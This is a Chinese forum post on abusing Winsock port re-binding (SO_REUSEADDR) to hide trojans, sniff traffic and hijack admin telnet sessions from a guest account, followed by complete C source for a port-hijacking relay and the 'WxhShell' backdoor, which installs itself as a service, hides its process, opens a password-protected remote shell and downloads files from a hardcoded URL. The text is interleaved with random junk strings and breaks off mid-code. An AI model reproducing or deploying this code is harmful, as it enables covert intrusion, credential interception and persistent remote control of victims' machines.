社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17127阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "(Mvl1^BT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jw2B&)k/  
Y,3z-Pa=@  
  saddr.sin_family = AF_INET; cR,'o'V/  
~o:rM/!Ba  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bjuYA/w<  
8w03{H 0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E7V38Z  
,jAx%]@,I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %=laY_y G  
s.f`.o  
  这意味着什么?意味着可以进行如下的攻击: =n> iQS  
AmP#'U5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f1)HHUB  
5T~3$kuO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @<hF.4,]  
QIR4<]/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t8L<x  
Mr$# e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K%98;e9  
,O$Z,J4VL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _cW_u?0X:  
]ev*m&O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T+`xr0  
W Atg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !Sh^LYqn  
qFV;n6&V  
  #include SNQz8(O  
  #include &?P=arU  
  #include it(LphB8  
  #include    JoZqLy!@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2z'+1+B'  
  int main() r^?)F?n!  
  { !F=|*j  
  WORD wVersionRequested; `4q5CJ2  
  DWORD ret; E"Ya-8d=  
  WSADATA wsaData; Y}AmX  
  BOOL val; OpWeW  
  SOCKADDR_IN saddr; Xz;et>UD*B  
  SOCKADDR_IN scaddr; ^n\9AE3  
  int err; s`$NW^']  
  SOCKET s; o0zc}mm  
  SOCKET sc; B'WCN&N  
  int caddsize; 8QkWgd7y  
  HANDLE mt;  ioE66-n  
  DWORD tid;   ti$oZ4PpF  
  wVersionRequested = MAKEWORD( 2, 2 ); !^c:'I>~  
  err = WSAStartup( wVersionRequested, &wsaData ); o0,UXBx  
  if ( err != 0 ) { Wl^prs7}c  
  printf("error!WSAStartup failed!\n"); &/b? I `  
  return -1; @4 zi]v  
  } 8>C; >v  
  saddr.sin_family = AF_INET; \zk?$'d  
   6{JR0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GM)\)\kNF  
?noETHz)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .){e7U6b{  
  saddr.sin_port = htons(23); W0+gfg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hs:4I  
  { viW~'}^k7  
  printf("error!socket failed!\n"); %NF<bEV  
  return -1; ua]\xBWx  
  } uM6CG0  
  val = TRUE; m.\ >95!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )LXoey!aZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WUE)SVf  
  { 8ktjDs$=.:  
  printf("error!setsockopt failed!\n"); ^4xlZouCb  
  return -1; 9[epr+f  
  } .4S^nP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @Og\SZhn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wo:zU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iQ]T+}nn_  
9TYw@o5V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]p4`7@@)*  
  { aGq_hP   
  ret=GetLastError(); E %wV  
  printf("error!bind failed!\n"); TIK/%T  
  return -1; rd&*j^?  
  } VYl_U?D  
  listen(s,2); >:Rt>po8|w  
  while(1) \N# HPrv}  
  { <;$Sa's,LE  
  caddsize = sizeof(scaddr); &y#\1K  
  //接受连接请求 _Ewy^;S%L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !uj!  
  if(sc!=INVALID_SOCKET) &.cGj @1!J  
  { %KJ"rvi4K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q{H!s_6iyv  
  if(mt==NULL) Y0P}KPD  
  { n&2=6$*,k  
  printf("Thread Creat Failed!\n"); b:}wR*Adc  
  break; (]zl$*k  
  } g[=\KrTSg  
  } )H[h53bIq  
  CloseHandle(mt); #K<=xP  
  } h8iaJqqvJ  
  closesocket(s); c"f-$^<  
  WSACleanup(); K%[}[.cW  
  return 0; r 48;_4d)D  
  }   7})!>p )  
  DWORD WINAPI ClientThread(LPVOID lpParam) >0g `U  
  { ^td!g1"<  
  SOCKET ss = (SOCKET)lpParam; dN$D6*  
  SOCKET sc; 8^P2GG'+-  
  unsigned char buf[4096]; 8r`VbgI&  
  SOCKADDR_IN saddr; |k7ts&2  
  long num; o5*74Mv  
  DWORD val; |h^G$guw  
  DWORD ret; 1eE]4Z4Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T9<H%iF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JL]k:i^`A  
  saddr.sin_family = AF_INET; ^V XXq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y7;XOPm  
  saddr.sin_port = htons(23); eSvc/CU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) , IMT '*  
  { z/P^-N>  
  printf("error!socket failed!\n"); =XRgT1>e  
  return -1; nL7S3  
  } xdbu|fC  
  val = 100; EBE>&{%$^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &MLhCekY  
  { |B WK"G  
  ret = GetLastError(); 3A/MFQ#2  
  return -1; X10TZ  
  } {ZI6!zh'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` Z V'7|  
  { bD[W~ku  
  ret = GetLastError(); /*2W?ZM~H  
  return -1; 5*'N Q010  
  } Z"nuO\zH~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7Ki7N{K t  
  { " yl"A4p S  
  printf("error!socket connect failed!\n"); j|8{Vyqd  
  closesocket(sc); aL6 5t\2  
  closesocket(ss); dOgM9P  
  return -1; hUvH t+d  
  } APm[)vw#f  
  while(1) RwHXn]1  
  { BrmFwXLP"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xH-k~#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2*E<G|-F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J, U~ .c  
  num = recv(ss,buf,4096,0); .tZ$a_O  
  if(num>0) !Bbwl-e`  
  send(sc,buf,num,0); #yxYL0CcA:  
  else if(num==0) 2;7GgO~  
  break; :#KURYO<  
  num = recv(sc,buf,4096,0); SvrV5X  
  if(num>0) &,|uTIs  
  send(ss,buf,num,0); 3ZZI1_j  
  else if(num==0) mw.aavB  
  break; bTKxv<  
  } r/:'}os;  
  closesocket(ss); teALd~;  
  closesocket(sc); Cagq0-:(p  
  return 0 ; d u )G)~  
  } 9Dkgu ^`  
+& Qqu`)?F  
@&> +`kgU-  
========================================================== l'R`XGT  
'm ((G4  
下边附上一个代码,,WXhSHELL K",]_+b  
D]_\i[x  
========================================================== Pk2 "\y@q/  
@35]IxD  
#include "stdafx.h" 0nn# U  
|%9~W^b  
#include <stdio.h> ,PAKPX9v_F  
#include <string.h> Etk<`GRfA  
#include <windows.h> >?x Vr  
#include <winsock2.h> L2tmo-]nw  
#include <winsvc.h> <VPtbM@(m  
#include <urlmon.h> ;^]F~x}  
'93&?  
#pragma comment (lib, "Ws2_32.lib") RmCR"~   
#pragma comment (lib, "urlmon.lib") {)xrg sB  
> [7vX m4  
#define MAX_USER   100 // 最大客户端连接数 9`b3=&i\  
#define BUF_SOCK   200 // sock buffer 8i"fhN3?Y  
#define KEY_BUFF   255 // 输入 buffer 3M`J.>  
5$w1[}UUd  
#define REBOOT     0   // 重启 zE{zX@  
#define SHUTDOWN   1   // 关机 fW`F^G1R  
],m-,K  
#define DEF_PORT   5000 // 监听端口 _l<"Qqt  
u[@*}|uXM  
#define REG_LEN     16   // 注册表键长度 n9ih^H  
#define SVC_LEN     80   // NT服务名长度 ?Ci\3)u,P  
uWQ.h ,  
// 从dll定义API g'@+#NMw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6ZJQ '9f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0&@6NW&Mu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z'*>Tk8h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6w#v,RDEu  
Z )I4U  
// wxhshell配置信息 JKGZ0yn  
struct WSCFG { IuL ]V TY  
  int ws_port;         // 监听端口 *G38N]|u6  
  char ws_passstr[REG_LEN]; // 口令 G})mw  
  int ws_autoins;       // 安装标记, 1=yes 0=no M~4!gKs  
  char ws_regname[REG_LEN]; // 注册表键名 EWi@1PAZK  
  char ws_svcname[REG_LEN]; // 服务名 G<I5%Yo6G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u-$AFSt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z9y:}:j"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j- -#vEW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z'~FZRF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >'eqOZM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H#:Yw|t  
O_q_O  
}; 6 s/O\A  
P:o<kRj1  
// default Wxhshell configuration uBXI*51{  
struct WSCFG wscfg={DEF_PORT, 'AoH2 |  
    "xuhuanlingzhe", t&0p@xLQ  
    1, f\JyN@w+  
    "Wxhshell", <f%9w]  
    "Wxhshell", !E8JpE|z#  
            "WxhShell Service", U7N<!6  
    "Wrsky Windows CmdShell Service", 4C$,X!kzF  
    "Please Input Your Password: ", ?bEYvHAzg  
  1, s?G@ k}{  
  "http://www.wrsky.com/wxhshell.exe", -llujB%;,e  
  "Wxhshell.exe" ??Lxb% 7R  
    }; W~qo `r  
3y!CkJKv  
// 消息定义模块 {+ m)*3~w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .T7ciD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VQCPgs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j8b:+io  
char *msg_ws_ext="\n\rExit."; @UA>6F  
char *msg_ws_end="\n\rQuit."; ^s-3U  
char *msg_ws_boot="\n\rReboot..."; hf '3yEm  
char *msg_ws_poff="\n\rShutdown..."; mMR[(  
char *msg_ws_down="\n\rSave to "; Q'N<jX[  
Mm5l>D'c  
char *msg_ws_err="\n\rErr!"; 0t~--/lA  
char *msg_ws_ok="\n\rOK!"; (8{Z@  
e1#}/U  
char ExeFile[MAX_PATH]; hN.#ui5 $  
int nUser = 0; _ n>0!  
HANDLE handles[MAX_USER]; <:p&P  
int OsIsNt; cIX59y#7  
4-\a]"c  
SERVICE_STATUS       serviceStatus; REw3>/=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0Ec -/   
;RrfE8mGj  
// 函数声明 ZE9*i}r  
int Install(void); 'K`)q6m  
int Uninstall(void); F'K{=  
int DownloadFile(char *sURL, SOCKET wsh); 1+^c3Dd`  
int Boot(int flag); k;)L-ge9  
void HideProc(void); QM IQy  
int GetOsVer(void); UY==1\  
int Wxhshell(SOCKET wsl); T]:5y_4?[  
void TalkWithClient(void *cs); rScmUt  
int CmdShell(SOCKET sock); -*WD.|k  
int StartFromService(void); Qcw/>LaL:  
int StartWxhshell(LPSTR lpCmdLine); H=dj\Br`  
zIL.R#|D=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v4&*iT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `1P &  
DCNuvrZ  
// 数据结构和表定义 /A>/]2(  
SERVICE_TABLE_ENTRY DispatchTable[] = .VI2V-Q  
{ f_ ::?  
{wscfg.ws_svcname, NTServiceMain}, )a.U|[:y[+  
{NULL, NULL} bZ389dSn  
}; 29E^]IL?  
}SYvGp{J,  
// 自我安装 qn<~ LxQ  
int Install(void) W6)A":`  
{ $ }&6p6|  
  char svExeFile[MAX_PATH]; hGpaHY>My  
  HKEY key; al5?w{us  
  strcpy(svExeFile,ExeFile); rsP1?Hxq  
$`uL^ hlj]  
// 如果是win9x系统,修改注册表设为自启动 Di&tm1R1  
if(!OsIsNt) { ;xb:{?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LOQEU? z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eX=W+&lj  
  RegCloseKey(key); DukCXyB*l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S]<Hx_[}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [1E u6X6  
  RegCloseKey(key); <$UY{"?  
  return 0; l<gg5 Zea  
    } `=FfzL  
  } s Ce{V*ua  
} d9E:LZy  
else { #vIF]Y  
1X=}  
// 如果是NT以上系统,安装为系统服务 2cww7z/B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f#[Fqkmj  
if (schSCManager!=0) /N~.,vf  
{ wp} PQw:  
  SC_HANDLE schService = CreateService H3&$:h  
  ( 7^ER?@:W  
  schSCManager, Q|;8\5  
  wscfg.ws_svcname, t,&1~_9  
  wscfg.ws_svcdisp, :V8 \^  
  SERVICE_ALL_ACCESS, xvb5-tK -  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z0c_&@uj*  
  SERVICE_AUTO_START, C EAwQH  
  SERVICE_ERROR_NORMAL, G6L 'RP  
  svExeFile, BaqRAO7  
  NULL, UE*M\r<  
  NULL, ]81P<Y(7  
  NULL, p6|0JBm  
  NULL, 40mgB4I  
  NULL @'dtlY5;  
  ); 6tj +  
  if (schService!=0) ,\ov$biL  
  { RHeql*`  
  CloseServiceHandle(schService); 4R.rSsAH  
  CloseServiceHandle(schSCManager); iFpJ /L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S)p1[&" M  
  strcat(svExeFile,wscfg.ws_svcname); %I?uO( @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TTu<~GH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KxqJlben  
  RegCloseKey(key); fsb_*sh&  
  return 0; F~4oPB K<  
    } D&$%JT'3  
  } QF Vy2 q  
  CloseServiceHandle(schSCManager); bZz ,'  
} ?X~Keb  
} ``DS?pUY  
SBZqO'}7  
return 1; Y2HF  
} Ar,B7-F!  
a}EO7tcg,  
// 自我卸载 }HRM6fR1S  
int Uninstall(void) v?vm-e  
{ C/U^8,6\n  
  HKEY key; >+LFu?y  
9Eu.Y  
if(!OsIsNt) { -lAX-W 0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J{` G=  
  RegDeleteValue(key,wscfg.ws_regname); t&*X~(Yb!  
  RegCloseKey(key); 4'_PLOgnX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ef*Vs  
  RegDeleteValue(key,wscfg.ws_regname); h0_od/D1r  
  RegCloseKey(key); U8m/L^zh  
  return 0; 2M1}`H\  
  } 3+ JkV\AF  
} lpi^<LQ@l  
} -T$%MX  
else { eEl}.W}  
.?|pv}V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +`'=K ;{U  
if (schSCManager!=0) g ]%sX6T  
{ $q%r}Cdg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SoC3)iqv/  
  if (schService!=0) ^--kcTiR%  
  { U|Z Yoc+](  
  if(DeleteService(schService)!=0) { ROqz$yY  
  CloseServiceHandle(schService); 41dB4Td5t  
  CloseServiceHandle(schSCManager); mqUn3F3  
  return 0; % s&l^&ux  
  } KsVN<eR{  
  CloseServiceHandle(schService); U|yXJ.Z3  
  } I5Vp%mCY  
  CloseServiceHandle(schSCManager); \%[sv@P9s  
} $z[FL=h)?+  
} jjLx60|{  
t`%Xxxu  
return 1; hc#Sy:T>  
} J;8M. _  
U4s)3jDw  
// 从指定url下载文件 jTHgh>n  
int DownloadFile(char *sURL, SOCKET wsh) - ,YoVB!T  
{ xfegi$  
  HRESULT hr; aq,Ab~V]  
char seps[]= "/"; rHngYcjR  
char *token; d0U-:S-  
char *file; mQd L"caA  
char myURL[MAX_PATH]; WtS5i7:<Y  
char myFILE[MAX_PATH]; J> Z.2  
\%BII>VS  
strcpy(myURL,sURL); 5TynAiSD_>  
  token=strtok(myURL,seps); {(#2G,  
  while(token!=NULL) j{&*]QTN  
  { Rq`d I~5!b  
    file=token; {f1iys'Om  
  token=strtok(NULL,seps); $@utlIXA'  
  } ?q{HS&k  
 4>R)2g  
GetCurrentDirectory(MAX_PATH,myFILE); ^K3Bn  
strcat(myFILE, "\\"); VPi*9(LS  
strcat(myFILE, file); U,Q  
  send(wsh,myFILE,strlen(myFILE),0); SB x<-^  
send(wsh,"...",3,0); |&u4Q /0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,::f? Gc7j  
  if(hr==S_OK) XU5GmGu_+  
return 0; W6^YFN  
else 4"^v]&I  
return 1; 7ILb&JQ!%{  
;M<R e  
} )`5=6i  
2H,n"-9+  
// 系统电源模块 +?9. &<?  
int Boot(int flag) Gr&YzbSX  
{ G0h/]%I  
  HANDLE hToken; .dPy<6E  
  TOKEN_PRIVILEGES tkp; T/$hN hQK  
5c ($~EFr  
  if(OsIsNt) { '5etZ!:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AGGNJ4m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); It#T\fU  
    tkp.PrivilegeCount = 1; zBjbH=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lvp8{]I<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); / LC!|-1E  
if(flag==REBOOT) { l1UN.l'p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $N/"c$50,  
  return 0; sjj,q?  
} v43FU3  
else { GUcGu5tw:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  ovsI2  
  return 0; w%?6s3   
} N$! Vm(S  
  } M _e^KF  
  else { \O=t5yS  
if(flag==REBOOT) { 2)T.Ci cx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C ^ 1;r9  
  return 0; pxV@fH+`  
} |5g1D^b]s^  
else { }J+ \o~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iM_Zn!|@\  
  return 0; snvixbN  
} 'Ivr =-  
} bM>5=Zox  
tdi^e;:?  
return 1; cr>"LAi  
} eb=#{  
Al^h^ 9tJ  
// win9x进程隐藏模块 q3e^vMK"  
void HideProc(void) 8/T,.<5  
{ ?bw1zYP  
s5&v~I;>e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZnZ`/zNO  
  if ( hKernel != NULL ) |m>{< :  
  { k|; [)gE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L@x#:s=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =*=qleC3  
    FreeLibrary(hKernel); {wCzm  
  } Ja%(kq[v  
'D[g{LkL  
return; BkJNu_{m?  
} <~iA{sY)O  
%dDwus  
// 获取操作系统版本 J`[He$7)  
int GetOsVer(void) ~O~R,h>  
{ P<MNwdf(+  
  OSVERSIONINFO winfo; B`/p[U5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C,G$C7$%  
  GetVersionEx(&winfo); f{ER]U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .?LP$O=  
  return 1; qV7nF }V{  
  else We:b1sZR  
  return 0; _su$]s  
} BjAmM*k  
uBA84r%{QQ  
// 客户端句柄模块 gvy c(d  
int Wxhshell(SOCKET wsl) +kZW:t!-  
{ C?fa-i0l^  
  SOCKET wsh; 9xM7X?  
  struct sockaddr_in client; HWxwG'EEY,  
  DWORD myID; N3?@CM^hHw  
+/Qgl  
  while(nUser<MAX_USER) `uLH3sr  
{ &C6Z{.3V  
  int nSize=sizeof(client); K-,8~8[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MNV OloA  
  if(wsh==INVALID_SOCKET) return 1; jb lj]/  
zqs|~W]c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Hribk[99  
if(handles[nUser]==0) Bv(c`JE~;  
  closesocket(wsh); D/Hob  
else  "?(N  
  nUser++; ]}HuK#  
  } ).uR@j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mQ qv{1  
$G .ws  
  return 0; ^Uq"hT(41  
} 3+d_5l;m)  
HL34pmc  
// 关闭 socket MO-)j_o-Z  
void CloseIt(SOCKET wsh) o<\9OQ0  
{ <j^bk"l p  
closesocket(wsh);  k.("<)  
nUser--; NZ=`iA8)X  
ExitThread(0); aEwwK(ny  
} jce^Xf  
jk-e/C  
// 客户端请求句柄 "*N=aHsj  
void TalkWithClient(void *cs) OjRJyhzS*  
{ 1@vlbgLr@  
wU1h(D2&h  
  SOCKET wsh=(SOCKET)cs; J8:f9a:|M  
  char pwd[SVC_LEN]; b$k|D)_|  
  char cmd[KEY_BUFF]; +=&A1{kR3  
char chr[1]; 6|AD]/t^K  
int i,j; N]iu o.  
RJO40&Z<Z  
  while (nUser < MAX_USER) { l-G] jXu  
B`i 5lD  
if(wscfg.ws_passstr) { i |IG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bUBQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L] ce13K  
  //ZeroMemory(pwd,KEY_BUFF); LCf)b>C*  
      i=0; oGXndfd"  
  while(i<SVC_LEN) { ?OFl9%\ V  
WjVj@oC  
  // 设置超时 /n&Y6@W  
  fd_set FdRead; H(WRm1i"G  
  struct timeval TimeOut; .,$<waGD  
  FD_ZERO(&FdRead); PGaYYc3X  
  FD_SET(wsh,&FdRead); @x @*=  
  TimeOut.tv_sec=8; cTQ]0<9:e  
  TimeOut.tv_usec=0; jt?.g'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c>3AR17+5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~.H*"  
n13#}i {tm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '|JBA.s|  
  pwd=chr[0]; YN>k5\M_v  
  if(chr[0]==0xd || chr[0]==0xa) { +'f+0T\)  
  pwd=0; @;K-@*k3  
  break; U81--'@y  
  } jQIb :\0#  
  i++; GZ@`}7b}  
    } \)' o{l&  
quGv q"Y>  
  // 如果是非法用户,关闭 socket !|@hU/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |1[3RnG S  
} 6-oy%OnN  
6+s10?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d$}z,~sN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $wBF'|eU  
k6b0&il  
while(1) { dr~6}S#  
1O{(9nNj  
  ZeroMemory(cmd,KEY_BUFF); ooW;s<6  
4,)EG1  
      // 自动支持客户端 telnet标准   pd Fa]  
  j=0; D{)K00mm  
  while(j<KEY_BUFF) { 0!fT:Ra  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a#L:L8T;j  
  cmd[j]=chr[0]; k/;%{@G)  
  if(chr[0]==0xa || chr[0]==0xd) { o,D7$WzL  
  cmd[j]=0; tzn+ M0'  
  break; ?Xq"Q^o4#e  
  } .4&pi  
  j++; <Mq vGXI  
    } }\$CU N  
h%*@82DKK  
  // 下载文件 Wp2$L-T&$  
  if(strstr(cmd,"http://")) { Wq}Y|0c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R|u2ga ~  
  if(DownloadFile(cmd,wsh)) ^S%xaA9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P]mJ01@'  
  else BGOajYD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *&nIxb60b{  
  } FO S5?%J  
  else { JOUZ"^v  
ALY3en9,  
    switch(cmd[0]) { !-cK@>.pE  
  # X`t~Y'  
  // 帮助 uK;&L?WB  
  case '?': { uG){0%nX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V7}]39m(s  
    break; Zb4+zps^-  
  } nQaryL  
  // 安装 &)ED||r,  
  case 'i': { kE`Fg(M  
    if(Install()) :6[G;F7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vi; yT.  
    else D_)N!,i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4o69t  
    break; ZTg[}+0e  
    } ]]eI80u[  
  // 卸载 -SlAt$IJ  
  case 'r': { s/\<;g:u^  
    if(Uninstall()) nIEIb.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y~Z&h?H'}  
    else ym;I(TC+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TR&7AiqB  
    break; pJo#7rxd6  
    } $g&_7SJ@  
  // 显示 wxhshell 所在路径 E@J}(76VS  
  case 'p': { U9Gg#M4tY  
    char svExeFile[MAX_PATH]; HXb^K  
    strcpy(svExeFile,"\n\r"); @ *&`1  
      strcat(svExeFile,ExeFile); 9 Eqv^0u  
        send(wsh,svExeFile,strlen(svExeFile),0); !IC@^kkh{  
    break; ZYLPk<<  
    } fi  
  // 重启 [5;_XMj%  
  case 'b': { kk$D:UQX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q"-+`;^7(-  
    if(Boot(REBOOT)) pebNE3`#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _T(77KLn;  
    else { TdL/tg!  
    closesocket(wsh); x }.&?m  
    ExitThread(0); C {G647  
    } T?KM}<$(O  
    break; MUi#3o\f  
    } l<UA0*t  
  // 关机 S9E<)L  
